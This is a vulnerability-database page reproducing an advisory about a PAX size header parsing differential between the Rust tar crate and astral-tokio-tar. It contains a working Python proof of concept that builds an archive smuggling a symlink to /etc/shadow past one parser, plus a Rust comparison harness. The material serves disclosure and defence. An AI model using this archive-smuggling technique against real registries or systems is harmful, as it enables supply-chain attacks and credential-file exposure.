Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-gchp-q4r4-x4ff

HighCVSS 8.1 / 10
Published Mar 20, 2026·Last modified Mar 25, 2026
Affected Components(0)

No affected components available

Description

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}
tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

Risk Scores
Base Score
8.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
7.4

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard